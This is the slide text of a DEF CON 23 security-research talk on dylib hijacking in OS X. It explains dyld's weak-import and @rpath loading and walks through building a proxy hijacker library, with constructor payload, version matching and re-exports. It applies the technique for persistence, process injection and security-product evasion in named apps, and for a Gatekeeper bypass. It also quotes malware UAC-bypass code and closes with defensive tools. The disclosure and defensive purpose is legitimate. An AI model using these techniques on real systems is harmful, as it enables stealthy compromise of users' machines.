DEF CON 23
Remember DLL hijacking on Windows? Well, turns out that OS X is fundamentally vulnerable to a similar attack (independent of the user's environment).
By abusing various 'features' and undocumented aspects of OS X's dynamic loader, this talk will reveal how attackers need only to plant specially-crafted dynamic libraries to have their malicious code automatically loaded into vulnerable applications. Through this attack, adversaries can perform a wide range of malicious actions, including stealthy persistence, process injection, security software circumvention, and even 'remote' infection. So come watch as applications fall, Gatekeeper crumbles (allowing downloaded unsigned code to execute), and 'hijacker malware' arises - capable of bypassing all top security and anti-virus products! And since "sharing is caring" leave with code and tools that can automatically uncover vulnerable binaries, generate compatible hijacker libraries, or detect if you've been hijacked.
Patrick Wardle is the Director of Research at Synack, where he leads cyber R&D efforts. Having worked at NASA, the NSA, and Vulnerability Research Labs (VRL), he is intimately familiar with aliens, spies, and talking nerdy. Currently, Patrick’s focus is on automated vulnerability discovery, and the emerging threats of OS X and mobile malware.
2. “leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, and
infrastructure endpoints”
WHOIS
@patrickwardle
always looking for
more experts!
3. implants
backdoor
remotely accessible means of
providing secret control of device
injection coercing a process to load a module
persistent malicious code
hooking intercepting function calls
trojan
malicious code that masquerades as
legitimate
gotta make sure we’re all on the same page ;)
SOME DEFINITIONS
4. what we'll be covering
OUTLINE
history of
dll hijacking
dylib hijacking
attacks
& defenses
}hijackingfinding
‘hijackables’
loader/linker
features
6. an overview
DLL HIJACKING (WINDOWS)
“an attack that exploits the way some
Windows applications search and load
Dynamic Link Libraries (DLLs)”
definition "binary planting"
"insecure library loading"
"dll loading hijacking"
"dll preloading attack"
other names
<blah>.dll
<blah>.dll
"I need <blah>.dll"
cwd
7. providing a variety of attack scenarios
DLL HIJACKING ATTACKS
vulnerable binary
persistence process injection
escalation of privileges
(uac bypass)
‘remote’ infection
}
8. in the wild
DLL HIJACKING ATTACKS
//paths
to
abuse
char*
uacTargetDir[]
=
{"system32sysprep",
"ehome"};
char*
uacTargetApp[]
=
{"sysprep.exe",
"mcx2prov.exe"};
char*
uacTargetDll[]
=
{
"cryptbase.dll"
,
"CRYPTSP.dll"};
//execute
vulnerable
application
&
perform
DLL
hijacking
attack
if(Exec(&exitCode,
"cmd.exe
/C
%s",
targetPath))
{
if(exitCode
==
UAC_BYPASS_MAGIC_RETURN_CODE)
DBG("UAC
BYPASS
SUCCESS")
...
bypassing UAC (carberp, blackbeard, etc.)
“we had a plump stack of malware samples in our
library that all had this name (fxsst.dll) and were
completely unrelated to each other” -mandiant
persistence
priv esc
9. the current state of affairs
DLL HIJACKING
2010 today
M$oft Security Advisory 2269637 &
‘Dynamic-Link Library Security’ doc
“Any OS which allows for dynamic linking
of external libraries is theoretically
vulnerable to [dll hijacking]”
-Marc B (stackoverflow.com)
fully qualified paths
SafeDllSearchMode &
CWDIllegalInDllSearch
dylib hijacking
(OS X)
'C:Windowssystem32blah.dll'
7/2015
MS15-069
11. macs are everywhere (home & enterprise)
THE RISE OF MACS
macs as % of total usa pc sales
#3 usa / #5 worldwide
vendor in pc shipments
percentage
0
3.5
7
10.5
14
year
'09 '10 '11 '12 '13
"Mac notebook sales have grown 21% over the last year,
while total industry sales have fallen" -apple (3/2015)
12. some apple specific terminology
APPLE PARLANCE
Mach object file format (or 'Mach-O') is OS X's
native file format for executables, shared libraries,
dynamically-loaded code, etc.
Load commands specify the layout and linkage
characteristics of the binary (memory layout,
initial execution state of the main thread, names
of dependent dylibs, etc).
}
mach-o
dylibs
Also known as dynamic shared libraries, shared
objects, or dynamically linked libraries, dylibs are
simply libraries intended for dynamic linking.
load
commands
13. instructions to the loader (including required libraries)
LOAD COMMANDS
MachOView
dumping load commands
$otool
-‐l
/Applications/Calculator.app/Contents/MacOS/Calculator
...
Load
command
12
cmd
LC_LOAD_DYLIB
cmdsize
88
name
/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa
time
stamp
2
Wed
Dec
31
14:00:02
1969
current
version
21.0.0
compatibility
version
1.0.0
14. dylib specific load commands
LC_LOAD*_DYLIB/LC_ID_DYLIB LOAD COMMANDS
struct
dylib_command
{
uint32_t
cmd;
/*
LC_ID_DYLIB,
LC_LOAD_{,WEAK_}DYLIB,
LC_REEXPORT_DYLIB
*/
uint32_t
cmdsize;
/*
includes
pathname
string
*/
struct
dylib
dylib;
/*
the
library
identification
*/
};
mach-‐o/loader.h
mach-‐o/loader.h
struct
dylib
{
union
lc_str
name;
/*
library's
path
name
*/
uint32_t
timestamp;
/*
library's
build
time
stamp
*/
uint32_t
current_version;
/*
library's
current
vers
number
*/
uint32_t
compatibility_version;
/*
library's
compatibility
vers
number*/
};
struct dyld_command
struct dylib
used to find &
uniquely ID the
library
15. the idea is simple
DYLIB HIJACKING ATTACKS
plant a malicious dynamic library such that the
dynamic loader will automatically load it into a
vulnerable application
no other system modifications
independent of users’ environment}
‣ no patching binaries
‣ no editing config files
‣ $PATH, (/etc/paths)
‣ DYLD_*
constraints
16. abusing for malicious purposes ;)
DYLIB HIJACKING ATTACKS
vulnerable binary
persistence process injection
‘remote’ infection
}
security product
bypass
just like dll hijacking
on windows!
18. a (very) brief walk-thru
OS X’S DYNAMIC LOADER/LINKER
dyldStartup.s/__dyld_start
sets up stack & jumps to
dyldbootstrap::start() which
calls _main()
dyld.cpp/_main()
calls link(ptrMainExe), calls
image->link()
ImageLoader.cpp/link()
calls ImageLoader::
recursiveLoadLibraries()
ImageLoader.cpp/
recursiveLoadLibraries()
gets dependent libraries, calls
context.loadLibrary() on each
dyld.cpp/load()
calls loadPhase0() which calls,
loadPhase1()… until loadPhase6()
dyld.cpp/loadPhase6()
maps in file then calls
ImageLoaderMachO::instantiateFr
omFile()
open source, at
www.opensource.apple.com (dyld-‐353.2.1)
19. again, a simple idea
LET THE HUNT BEGIN
is there code in dyld that:
doesn’t error out if a dylib isn’t found?
looks for dylibs in multiple locations?
if the answer is 'YES' to either question, its
theoretically possible that binaries on OS X could
by vulnerable to a dylib hijacking attack!
20. are missing dylibs are ok?
ALLOWING A DYLIB LOAD TO FAIL
//attempt
to
load
all
required
dylibs
void
ImageLoader::recursiveLoadLibraries(
...
)
{
//get
list
of
libraries
this
image
needs
DependentLibraryInfo
libraryInfos[fLibraryCount];
this-‐>doGetDependentLibraries(libraryInfos);
//try
to
load
each
each
for(unsigned
int
i=0;
i
<
fLibraryCount;
++i)
{
//load
try
{
dependentLib
=
context.loadLibrary(libraryInfos[i],
...
);
...
}
catch(const
char*
msg)
{
if(requiredLibInfo.required)
throw
dyld::mkstringf("Library
not
loaded:
%sn
Referenced
from:
%sn
Reason:
%s",
requiredLibInfo.name,
this-‐>getRealPath(),
msg);
//ok
if
weak
library
not
found
dependentLib
=
NULL;
}
}
error logic for missing dylibs
ImageLoader.cpp
21. where is the ‘required’ variable set?
ALLOWING A DYLIB LOAD TO FAIL
//get
all
libraries
required
by
the
image
void
ImageLoaderMachO::doGetDependentLibraries(DependentLibraryInfo
libs[]){
//get
list
of
libraries
this
image
needs
const
uint32_t
cmd_count
=
((macho_header*)fMachOData)-‐>ncmds;
const
struct
load_command*
const
cmds
=
(struct
load_command*)&fMachOData[sizeof(macho_header)];
const
struct
load_command*
cmd
=
cmds;
//iterate
over
all
load
commands
for
(uint32_t
i
=
0;
i
<
cmd_count;
++i)
{
switch
(cmd-‐>cmd)
{
case
LC_LOAD_DYLIB:
case
LC_LOAD_WEAK_DYLIB:
...
//set
required
variable
(&libs[index++])-‐>required
=
(cmd-‐>cmd
!=
LC_LOAD_WEAK_DYLIB);
break;
}
//go
to
next
load
command
cmd
=
(const
struct
load_command*)(((char*)cmd)+cmd-‐>cmdsize);
}
setting the 'required' variable
ImageLoaderMachO.cpp
LC_LOAD_WEAK_DYLIB:
weak 'import' (not required)
22. binaries that import weak dylibs can be hijacked
HIJACK 0X1: LC_LOAD_WEAK_DYLIB
LC_LOAD_WEAK_DYLIB:
/usr/lib/<blah>.dylib
/usr/lib
weak request,
so 'not-found' is ok!find/load <blah>.dylib
not found!
LC_LOAD_WEAK_DYLIB:
/usr/lib/<blah>.dylib
/usr/lib
find/load <blah>.dylib
<blah>.dylib
23. ohhh, what do we have here?!
LOOKING FOR DYLIBS IN MULTIPLE LOCATIONS
//substitute
@rpath
with
all
-‐rpath
paths
up
the
load
chain
for(const
ImageLoader::RPathChain*
rp=context.rpath;
rp
!=
NULL;
rp=rp-‐>next){
//try
each
rpath
for(std::vector<const
char*>::iterator
it=rp-‐>paths-‐>begin();
it
!=
rp-‐>paths-‐>end();
++it){
//build
full
path
from
current
rpath
char
newPath[strlen(*it)
+
strlen(trailingPath)+2];
strcpy(newPath,
*it);
strcat(newPath,
"/");
strcat(newPath,
trailingPath);
//TRY
TO
LOAD
//
-‐>if
this
fails,
will
attempt
next
variation!!
image
=
loadPhase4(newPath,
orgPath,
context,
exceptions);
if(image
!=
NULL)
dyld::log("RPATH
successful
expansion
of
%s
to:
%sn",
orgPath,
newPath);
else
dyld::log("RPATH
failed
to
expanding
%s
to:
%sn",
orgPath,
newPath);
//if
found/load
image,
return
it
if(image
!=
NULL)
return
image;
}
}
loading dylibs from various locations
dyld.cpp
24. ...a special keyword for the loader/linker
WTF ARE @RPATHS?
introduced in OS X
10.5 (leopard)
To use run-path dependent libraries, an executable provides a list of run-
path search paths, which the dynamic loader traverses at load time to
find the libraries.” -apple
“A run-path dependent library is a dependent library whose complete
install name (path) is not known when the library is created….
"ohhh, so dyld will look for the dylib in multiple
locations?!?"
"Breaking the links: exploiting the linker"
Tim Brown (@timb_machine)
rpaths on linux (no OS X)
25. a run-path dependent library
AN EXAMPLE
compiled run-path dependent library
$
otool
-‐l
rpathLib.framework/Versions/A/rpathLib
Load
command
3
cmd
LC_ID_DYLIB
cmdsize
72
name
@rpath/rpathLib.framework/Versions/A/rpathLib
time
stamp
1
Wed
Dec
31
14:00:01
1969
current
version
1.0.0
compatibility
version
1.0.0
set install dir to '@rpath'
26. an app that links against an @rpath'd dylib
AN EXAMPLE
the “run-path dependent library(s)”
LC_LOAD*_DYLIB LC(s) containing "@rpath" in the
dylib path -> tells dyld to “to search a list of paths in
order to locate the dylib"
the list of “run-path search paths”
LC_RPATH LCs containing the run-time paths
which at runtime, replace "@rpath"
}
dylib dependency
specifying 'RunPath Search Paths'
27. LC_LOAD_DYLIB load commands prefixed with '@rpath'
RUN-PATH DEPENDENT LIBRARIES
an application linked against an @rpath import
$
otool
-‐l
rPathApp.app/Contents/MacOS/rPathApp
Load
command
12
cmd
LC_LOAD_DYLIB
cmdsize
72
name
@rpath/rpathLib.framework/Versions/A/rpathLib
time
stamp
2
Wed
Dec
31
14:00:02
1969
current
version
1.0.0
compatibility
version
1.0.0
“hey dyld, I depend on the rpathLib dylib, but when built, I
didn’t know exactly where it would be installed. Please use my
embedded run-path search paths to find & load it!”
-the executable
28. LC_RPATH load commands containing the run-path search paths
RUN-PATH SEARCH PATH(S)
embedded LC_PATH commands
$
otool
-‐l
rPathApp.app/Contents/MacOS/rPathApp
Load
command
18
cmd
LC_RPATH
cmdsize
64
path
/Applications/rPathApp.app/Contents/Library/One
Load
command
19
cmd
LC_RPATH
cmdsize
64
path
/Applications/rPathApp.app/Contents/Library/Two
one for each search
directory struct
rpath_command
{
uint32_t
cmd;
/*
LC_RPATH
*/
uint32_t
cmdsize;
/*
includes
string
*/
union
lc_str
path;
/*
path
to
add
to
run
path
*/
};
mach-‐o/loader.h
struct dyld_command (LC_RPATH LC)
29. how the linker/loader interacts with LC_RPATH load commands
DYLD AND THE ‘RUN-PATH’ SEARCH PATH(S)
void
ImageLoader::recursiveLoadLibraries(…){
//get
list
of
rpaths
that
this
image
adds
std::vector<const
char*>
rpathsFromThisImage;
this-‐>getRPaths(context,
rpathsFromThisImage);
saving all "run-path search paths"
ImageLoader.cpp
void
ImageLoaderMachO::getRPaths(...,
std::vector<const
char*>&
paths){
//iterate
over
all
load
commands
//
-‐>look
for
LC_RPATH
and
save
their
path’s
for(uint32_t
i
=
0;
i
<
cmd_count;
++i){
switch(cmd-‐>cmd){
case
LC_RPATH:
//save
‘run-‐path’
search
path
paths.push_back((char*)cmd
+
((struct
rpath_command*)cmd)-‐>path.offset);
//keep
scanning
load
commands...
cmd
=
(const
struct
load_command*)(((char*)cmd)+cmd-‐>cmdsize);
ImageLoader.cpp
invoking getRPaths() to parse all LC_RPATHs
30. dealing with LC_LOAD_DYLIBs that contain '@rpath'
DYLD & '@RPATH'
//expand
'@rpaths'
static
ImageLoader*
loadPhase3(...)
{
//replace
‘@rpath’
with
all
resolved
run-‐path
search
paths
&
try
load
else
if(context.implicitRPath
||
(strncmp(path,
"@rpath/",
7)
==
0)
)
{
//get
part
of
path
after
'@rpath/'
const
char*
trailingPath
=
(strncmp(path,
"@rpath/",
7)
==
0)
?
&path[7]
:
path;
//substitute
@rpath
with
all
-‐rpath
paths
up
the
load
chain
for(std::vector<const
char*>::iterator
it=rp-‐>paths-‐>begin();
it
!=
rp-‐>paths-‐>end();
++it){
//build
full
path
from
current
rpath
char
newPath[strlen(*it)
+
strlen(trailingPath)+2];
strcpy(newPath,
*it);
strcat(newPath,
"/");
strcat(newPath,
trailingPath);
//TRY
TO
LOAD
image
=
loadPhase4(newPath,
orgPath,
context,
exceptions);
//if
found/loaded
image,
return
it
if(image
!=
NULL)
return
image;
}//try
all
run-‐path
search
paths
loading dylibs from various locations
dyld.cpp
31. '@rpath' imports not found in the primary search directory
HIJACK 0X2: LC_LOAD_DYLIB + LC_RPATHS
LC_LOAD_DYLIB:
@rpath/<blah>.dylib
find/load <blah>.dylib
LC_RPATH:
/Applications/blah.app/Library
LC_RPATH:
/System/Library
<blah>.dylib
/System/Library
/Applications/blah.app/Library
<blah>.dylib
/Applications/blah.app/
Library/blah.dylib
/System/Library/blah.dylib
resolved paths
32. possible, given either of the following conditions!
DYLIB HIJACKING AN OS X BINARY
}
contains a LC_LOAD_WEAK_DYLIB
load command that references a
non-existent dylib
contains multiple LC_RPATH load commands
(i.e. run-path search paths)
contains a LC_LOAD*_DYLIB load command
with a run-path dependent library ('@rpath')
not found in a primary run-path search path
+
vulnerable
application
33. hijacking the sample binary (rPathApp)
EXAMPLE TARGET
confirm the vulnerability
$
export
DYLD_PRINT_RPATHS="1"
$
/Applications/rPathApp.app/Contents/MacOS/rPathApp
RPATH
failed
to
expanding
@rpath/rpathLib.framework/Versions/A/rpathLib
to:
/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib
RPATH
successful
expansion
of
@rpath/rpathLib.framework/Versions/A/rpathLib
to:
/Applications/rPathApp.app/Contents/MacOS/../Library/Two/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/
Contents/Library/One/...
/Applications/rPathApp.app/
Contents/Library/Two/...
first location is
empty!
34. place dylib into the primary search location
HIJACK ATTEMPT 0X1
__attribute__((constructor))
void
customConstructor(int
argc,
const
char
**argv)
{
//dbg
msg
syslog(LOG_ERR,
"hijacker
loaded
in
%sn",
argv[0]);
}
'malicious' dylib
automatically invoked
$
/Applications/rPathApp.app/Contents/MacOS/rPathApp
RPATH
successful
expansion
of
@rpath/rpathLib.framework/Versions/A/rpathLib
to:
/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib
dyld:
Library
not
loaded:
@rpath/rpathLib.framework/Versions/A/rpathLib
Referenced
from:
/Applications/rPathApp.app/Contents/MacOS/rPathApp
Reason:
Incompatible
library
version:
rPathApp
requires
version
1.0.0
or
later,
but
rpathLib
provides
version
0.0.0
Trace/BPT
trap:
5
success :) then fail :(
dylib's 'payload'
35. dyld checks version numbers
DYLIB VERSIONING
ImageLoader::recursiveLoadLibraries(...)
{
LibraryInfo
actualInfo
=
dependentLib-‐>doGetLibraryInfo();
//compare
version
numbers
if(actualInfo.minVersion
<
requiredLibInfo.info.minVersion)
{
//record
values
for
use
by
CrashReporter
or
Finder
dyld::throwf("Incompatible
library
version:
.....");
}
ImageLoader.cpp
ImageLoaderMachO::doGetLibraryInfo()
{
LibraryInfo
info;
const
dylib_command*
dylibID
=
(dylib_command*)
(&fMachOData[fDylibIDOffset]);
//extract
version
info
from
LC_ID_DYLIB
info.minVersion
=
dylibID-‐>dylib.compatibility_version;
info.maxVersion
=
dylibID-‐>dylib.current_version;
return
info
ImageLoaderMachO.cpp
$
otool
-‐l
rPathApp
Load
command
12
cmd
LC_LOAD_DYLIB
cmdsize
72
name
...
rpathLib
current
version
1.0.0
compatibility
version
1.0.0
$
otool
-‐l
rPathLib
Load
command
12
cmd
LC_ID_DYLIB
cmdsize
72
name
...
rpathLib
current
version
0.0.0
compatibility
version
0.0.0
hijacker dylib
versioning mismatch
target (legit) dylib
36. compatible version numbers/symbol fail
HIJACK ATTEMPT 0X2
setting version numbers
$
/Applications/rPathApp.app/Contents/MacOS/rPathApp
RPATH
successful
expansion
of
@rpath/rpathLib.framework/Versions/A/rpathLib
to:
/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib
dyld:
Symbol
not
found:
_OBJC_CLASS_$_SomeObject
Referenced
from:
/Applications/rPathApp.app/Contents/MacOS/rPathApp
Expected
in:
/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework
/Versions/A/rpathLib
Trace/BPT
trap:
5
success :) then fail :(
$
otool
-‐l
rPathLib
Load
command
12
cmd
LC_ID_DYLIB
cmdsize
72
name
...
rpathLib
current
version
1.0.0
compatibility
version
1.0.0
hijacker dylib
37. hijacker dylib must export the expected symbols
SOLVING THE EXPORTS ISSUE
$
dyldinfo
-‐export
/Library/Two/rpathLib.framework/Versions/A/rpathLib
0x00001100
_OBJC_METACLASS_$_SomeObject
0x00001128
_OBJC_CLASS_$_SomeObject
exports from legit dylib
sure we could get the hijacker to directly export all the same
symbols from the original...but it'd be more elegant to have it
re-export them, forwarding ('proxying') everything on to the
original dylib!
<blah>.dylib <blah>.dylib
resolve _SomeObject
_SomeObject
38. telling the dyld where to find the required symbols
RE-EXPORTING SYMBOLS
LC_REEXPORT_DYLIB load command
$
otool
-‐l
rPathLib
Load
command
9
cmd
LC_REEXPORT_DYLIB
cmdsize
72
name
@rpath/rpathLib.framework
/Versions/A/rpathLib
}ld inserts name from target
(legit) library (will be @rpath/...
which dyld doesn't resolve)
ld cannot link if target dylib
falls within an umbrella
framework
-Xlinker
-reexport_library
<path to legit dylib>
linker flags
39. fix with install_name_tool
RE-EXPORTING SYMBOLS
install_name_tool -change
<existing value of LC_REEXPORT_DYLIB>
<new value for to LC_REEXPORT_DYLIB (e.g target dylib)>
<path to dylib to update>
$
install_name_tool
-‐change
@rpath/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/Contents/Library/One/rpathLib.framework/Versions/A/rpathlib
$
otool
-‐l
Library/One/rpathLib.framework/Versions/A/rpathlib
Load
command
9
cmd
LC_REEXPORT_DYLIB
cmdsize
112
name
/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/
fixing the target of the re-exported
updates the name in
LC_REEXPORT_DYLIB
40. all your base are belong to us :)
HIJACK SUCCESS!
hijacked loaded into app's process space
app runs fine!
$
lsof
-‐p
29593
COMMAND
NAME
rPathApp
/Users/patrick
rPathApp
/Applications/rPathApp.app/Contents/MacOS/rPathApp
rPathApp
/Applications/rPathApp.app/Contents/Library/One/rpathLib.framework/Versions/A/rpathlib
rPathApp
/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
hijacker's 'payload'
hijacked app
42. finding vulnerable binaries
AUTOMATION
$
python
dylibHijackScanner.py
getting
list
of
all
executable
files
on
system
will
scan
for
multiple
LC_RPATHs
and
LC_LOAD_WEAK_DYLIBs
found
91
binaries
vulnerable
to
multiple
rpaths
found
53
binaries
vulnerable
to
weak
dylibs
rPathApp.app
has
multiple
rpaths
(dylib
not
in
primary
directory)
({
'binary':
'/rPathApp.app/Contents/MacOS/rPathApp',
'importedDylib':
'/rpathLib.framework/Versions/A/rpathLib',
'LC_RPATH':
'rPathApp.app/Contents/Library/One'
})
LC_LOAD_WEAK_DYLIB that reference a non-existent dylib
LC_LOAD*_DYLIB with @rpath'd import & multiple LC_RPATHs with the
run-path dependent library not found in a primary run-path search path
automated vulnerability detection
43. you might have heard of these guys?
AUTOMATION FINDINGS
Apple Microsoft Others
iCloud Photos
Xcode
iMovie (plugins)
Quicktime (plugins)
Word
Excel
Powerpoint
Upload Center
Google(drive)
Adobe (plugins)
GPG Tools
DropBox
results:
only from one scan (my box)
44. tool to create compatible hijackers
AUTOMATION
$
python
createHijacker.py
Products/Debug/libhijack.dylib
/Applications/rPathApp.app/
Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
hijacker
dylib:
libhijack.dylib
target
(existing)
dylib:
rpathLib
[+]
parsing
'rpathLib'
to
extract
version
info
[+]
parsing
'libhijack.dylib'
to
find
version
info
updating
version
info
in
libhijack.dylib
to
match
rpathLib
[+]
parsing
'libhijack.dylib'
to
extract
faux
re-‐export
info
updating
embedded
re-‐export
via
exec'ing:
/usr/bin/install_name_tool
-‐change
configured
libhijack.dylib
(renamed
to:
rpathLib)
as
compatible
hijacker
for
rpathLib
extract target dylib's version numbers and patch them into hijacker
re-export ('forward') exports by executing install_name_tool to
update LC_REEXPORT_DYLIB in the hijacker to reference target dylib
automated hijacker configuration
45. ideal for a variety of reasons...
GAINING PERSISTENCE
gain automatic & persistent code execution
whenever the OS restarts/the user logs only via a
dynamic library hijack
the goal
}no binary / OS file modifications no new processes
hosted within a trusted process abuses legitimate functionality
46. via Apple's PhotoStreamAgent ('iCloudPhotos.app')
GAINING PERSISTENCE
$
python
dylibHijackScanner.py
PhotoStreamAgent
is
vulnerable
(multiple
rpaths)
'binary':
'/Applications/iPhoto.app/Contents/Library/LoginItems/
PhotoStreamAgent.app/Contents/MacOS/PhotoStreamAgent'
'importedDylib':
'/PhotoFoundation.framework/Versions/A/PhotoFoundation'
'LC_RPATH':
'/Applications/iPhoto.app/Contents/Library/LoginItems'
configure hijacker against PhotoFoundation (dylib)
copy to /Applications/iPhoto.app/Contents/
Library/LoginItems/PhotoFoundation.framework/
Versions/A/PhotoFoundation
$
reboot
$
lsof
-‐p
<pid
of
PhotoStreamAgent>
/Applications/iPhoto.app/Contents/Library/LoginItems/PhotoFoundation.framework/Versions/A/PhotoFoundation
/Applications/iPhoto.app/Contents/Frameworks/PhotoFoundation.framework/Versions/A/PhotoFoundation
PhotoStreamAgent
47. ideal for a variety of reasons...
PROCESS INJECTION ('LOAD TIME')
gain automatic & persistent code execution within
a process only via a dynamic library hijack
the goal
}no binary / OS file modifications no process monitoring
no complex runtime injection no detection of injection
<010>
48. via Apple's Xcode
GAINING PROCESS INJECTION
$
python
dylibHijackScanner.py
Xcode
is
vulnerable
(multiple
rpaths)
'binary':
'/Applications/Xcode.app/Contents/MacOS/Xcode'
'importedDylib':
'/DVTFoundation.framework/Versions/A/DVTFoundation'
'LC_RPATH':
'/Applications/Xcode.app/Contents/Frameworks'
configure hijacker against DVTFoundation (dylib)
copy to /Applications/Xcode.app/Contents/
Frameworks/DVTFoundation.framework/Versions/A/
do you trust your
compiler now!?
(k thompson)
Xcode
49. ideal for a variety of reasons...
BYPASSING PERSONAL SECURITY PRODUCTS
gain automatic code execution within a trusted
process only via a dynamic library hijack to
perform some previously disallowed action
the goal
}no binary / OS file modifications novel technique
hosted within a trusted process abuses legitimate functionality
50. become invisible to LittleSnitch via GPG Tools
BYPASSING PERSONAL SECURITY PRODUCTS
$
python
dylibHijackScanner.py
GPG
Keychain
is
vulnerable
(weak/rpath'd
dylib)
'binary':
'/Applications/GPG
Keychain.app/Contents/MacOS/GPG
Keychain'
'weak
dylib':
'/Libmacgpg.framework/Versions/B/Libmacgpg'
'LC_RPATH':
'/Applications/GPG
Keychain.app/Contents/Frameworks'
GPG Keychain
LittleSnitch rule
for GPG Keychain
got 99 problems but LittleSnitch ain't one ;)
51. bypassing Gatekeeper
'REMOTE' (NON-LOCAL) ATTACK
circumvent gatekeeper's draconic blockage via a
dynamic library hijack
the goal
can we bypass this
(unsigned code to run)?
gatekeeper in action
52. all files with quarantine attribute are checked
HOW GATEKEEPER WORKS
quarantine attributes
//attributes
$
xattr
-‐l
~/Downloads/malware.dmg
com.apple.quarantine:0001;534e3038;
Safari;
B8E3DA59-‐32F6-‐4580-‐8AB3...
safari, etc. tags
downloaded content
"Gatekeeper is an anti-malware feature of the OS X operating
system. It allows users to restrict which sources they can install
applications from, in order to reduce the likelihood of executing a
Trojan horse"
53. go home gatekeeper, you are drunk!
GATEKEEPER BYPASS
find an -signed or 'mac app store' app that contains an external
relative reference to a hijackable dylib
create a .dmg with the necessary folder structure to contain the
malicious dylib in the externally referenced location
#winning
verified, so can't
modify
.dmg/.zip layout
(signed) application
<external>.dylib
gatekeeper only verifies
the app bundle!!
not verified!
54. 1) a signed app that contains an external reference to hijackable dylib
GATEKEEPER BYPASS
$
spctl
-‐vat
execute
/Applications/Xcode.app/Contents/Applications/Instruments.app
Instruments.app:
accepted
source=Apple
System
$
otool
-‐l
Instruments.app/Contents/MacOS/Instruments
Load
command
16
cmd
LC_LOAD_WEAK_DYLIB
name
@rpath/CoreSimulator.framework/Versions/A/CoreSimulator
Load
command
30
cmd
LC_RPATH
path
@executable_path/../../../../SharedFrameworks
spctl tells you if gatekeeper will accept the app
Instruments.app - fit's the bill
55. 2) create a .dmg with the necessary layout
GATEKEEPER BYPASS
required directory structure
'clean up' the .dmg
‣ hide files/folder
‣ set top-level alias to app
‣ change icon & background
‣ make read-only
(deployable) malicious .dmg
56. 3) #winning
GATEKEEPER BYPASS
gatekeeper setting's
(maximum)
gatekeeper bypass :)
unsigned (non-Mac App Store)
code execution!!
CVE 2015-3715
patched in OS X 10.10.4
standard alert
57. low-tech abuse cases
GATEKEEPER BYPASS
"[there were over] sixty thousand calls to AppleCare technical
support about Mac Defender-related issues" -Sophos
fake codecs fake installers/updates
why gatekeeper was born infected torrents
58. what you really need to worry about :/
GATEKEEPER BYPASS
my dock
MitM & infect
insecure downloads
HTTP :(
Mac App Store
not vulnerable
59. these should be secure, right!?
INFECTING AV SOFTWARE DOWNLOADS
all the security software I could
find, was downloaded over HTTP!
LittleSnitch
Sophos
}
ClamXav
60. putting the pieces all together
END-TO-END ATTACK
persist
exfil file
download & execute cmd
persistently install a malicious
dylib as a hijacker
upload a file ('topSecret') to a
remote iCloud account
download and run a command
('Calculator.app')
no-r00t to install/run!
61. ClamXav
LittleSnitch
Sophos
the OS 'security' industry vs me ;)
PSP TESTING
are any of these
malicious actions blocked?
persist
exfil file
download & execute cmd
OS X 'security' products
62. what can be done to fix this mess
IT'S ALL BUSTED....FIXES?
Dylib Hijacking Fix? Gatekeeper Bypass Fix
MitM Fix
CVE 2015-3715
patched in OS X 10.10.4
abuses a legit OS feature,
so unlikely to be fixed...
only allow signed dylibs?
only download software over secure
channels (HTTPS, etc)
disallow external dependencies?
still 'broken' ;)
63. EL CAPITAN (OS X 10.11)
next version of OS X will keep us all safe...right!?
System
Integrity
Protection
"A
new
security
policy
that
applies
to
every
running
process.
Code
injection
and
runtime
attachments
to
system
binaries
are
no
longer
permitted."
-‐apple.com
"rootless"
persistent dylib hijacking airportd OS X 10.11
"o rly?!"
loaded in airportd
64. but am I vulnerable? am I owned?
DEFENSE
Dylib Hijack Scanner (DHS)
free at
objective-see.com
hijacked
apps
'buggy'
apps
65. OBJECTIVE-SEE
free OS X tools (such as DHS) & malware samples malware samples :)
KnockKnock BlockBlockTaskExplorer
66. CONCLUSIONS
…wrapping this up
powerful stealthy new class of attack
affects apple & 3rd party apps
persistence
process injection
‘remote’ infection
security product bypass
}
}
no binary / OS file modifications
abuses legitimate functionality
scan your system
download software over HTTPS
don't give your $ to the AV companies
users